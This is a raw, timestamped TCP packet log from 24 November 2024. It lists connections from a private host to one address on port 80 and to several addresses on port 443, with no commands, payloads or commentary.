Nov 24, 2024 19:11:48.978606939 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.980684042 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.980743885 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.980803013 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.980844021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.985662937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.985706091 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.985722065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.985743999 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.989927053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.990005970 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.990056038 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.990122080 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.994677067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.994744062 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.994810104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.994852066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.999135017 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.999185085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.999321938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.999372959 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.002185106 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:49.002239943 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:49.002245903 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:49.003485918 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:49.003509998 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:49.003531933 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:49.003542900 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:49.003587008 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:49.003715992 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.003767014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.003819942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.003863096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.004061937 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:49.004092932 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:49.004245043 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:49.004291058 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:49.008414984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.008429050 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.008475065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.008511066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.012140989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.012192965 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.012207031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.012253046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.015784979 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.015805960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.015836954 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.015872955 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.019445896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.019505024 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.019550085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.019594908 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.022856951 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.022911072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.023052931 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.023106098 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.026273012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.026324034 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.026330948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.026371956 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.029658079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.029706955 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.029756069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.029802084 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.033058882 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.033107996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.033171892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.033221960 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.036530018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.036582947 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.036604881 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.036652088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.040014982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.040028095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.040071011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.040087938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.043308973 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.043364048 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.043410063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.043467999 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.046550989 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:49.046581030 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:49.046668053 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:49.046734095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.046770096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.046778917 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.046813011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.047060013 CET	49788	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:49.047072887 CET	443	49788	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:49.050158978 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.050173998 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.050220966 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.050252914 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.053505898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.053591967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.053733110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.053778887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.056922913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.056981087 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.057025909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.057070971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.060379982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.060425043 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.060431957 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.060472012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.063962936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.064006090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.064011097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.064049006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.066061020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.066128969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.066174984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.066217899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.068177938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.068221092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.068234921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.068252087 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.070642948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.070671082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.070703983 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.070734978 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.072480917 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.072540045 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.072566032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.072607994 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.074873924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.074922085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.074930906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.074965000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.076854944 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.076913118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.077107906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.077152014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.079166889 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.079221010 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.079233885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.079276085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.081233025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.081275940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.081298113 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.081342936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.083399057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.083455086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.083477020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.083524942 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.085577011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.085633039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.085658073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.085724115 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.088126898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.088175058 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.088219881 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.088268042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.089947939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.089994907 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.090084076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.090130091 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.092176914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.092186928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.092247963 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.147568941 CET	49779	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:49.147645950 CET	443	49779	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:49.147706032 CET	49779	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:49.150806904 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.150850058 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:49.150922060 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.151089907 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.151112080 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:49.151221037 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.151563883 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.151577950 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:49.151635885 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.151813984 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.151861906 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:49.151983976 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.154457092 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.154481888 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:49.154599905 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.154608011 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:49.154680967 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.154697895 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:49.154774904 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:49.154788017 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:49.155890942 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:49.155922890 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:49.155986071 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:49.156547070 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:49.156613111 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:49.156682014 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:49.158052921 CET	49793	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:49.158065081 CET	443	49793	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:49.158528090 CET	49794	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:49.158559084 CET	443	49794	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:49.193758965 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.193821907 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.193898916 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.193942070 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.194648981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.194698095 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.194716930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.194770098 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.196619034 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.196676970 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.196748972 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.196794033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.198647022 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.198703051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.198740959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.198786974 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.200475931 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.200529099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.200560093 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.200604916 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.202209949 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.202263117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.202311039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.202359915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.203998089 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.204051018 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.204072952 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.204118013 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.205624104 CET	443	49781	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:49.205760956 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.205811977 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.205837011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.205894947 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.206463099 CET	49781	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:49.206487894 CET	443	49781	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:49.206841946 CET	443	49781	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:49.207536936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.207575083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.207600117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.207617998 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.207967997 CET	49781	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:49.208053112 CET	443	49781	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:49.209315062 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.209378004 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.209408045 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.209469080 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.211062908 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.211112976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.211177111 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.211221933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.212847948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.212908030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.212915897 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.212960005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.214601994 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.214658976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.214767933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.214813948 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.216406107 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.216451883 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.216469049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.216514111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.218164921 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.218220949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.218236923 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.218283892 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.219902992 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.219959974 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.220006943 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.220051050 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.221780062 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.221828938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.221887112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.221935034 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.223463058 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.223512888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.223583937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.223628044 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.225219011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.225270033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.225317001 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.225366116 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.227008104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.227061987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.227086067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.227129936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.228741884 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.228790998 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.228867054 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.228909016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.230523109 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.230575085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.230631113 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.230679989 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.232325077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.232386112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.232475042 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.232521057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.234052896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.234110117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.234133959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.234175920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.235892057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.235949993 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.235964060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.236002922 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.237638950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.237750053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.237761021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.237795115 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.239455938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.239491940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.239525080 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.239568949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.241159916 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.241215944 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.241312981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.241375923 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.242933989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.242991924 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.243015051 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.243061066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.244720936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.244775057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.244894028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.244939089 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.246526957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.246567011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.246577978 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.246617079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.248181105 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.248265028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.248295069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.248306990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.249926090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.249980927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.250021935 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.250063896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.251718044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.251791000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.251807928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.251852036 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.253441095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.253493071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:49.254084110 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:49.254132032 CET	49750	80	192.168.2.8	185.215.113.206
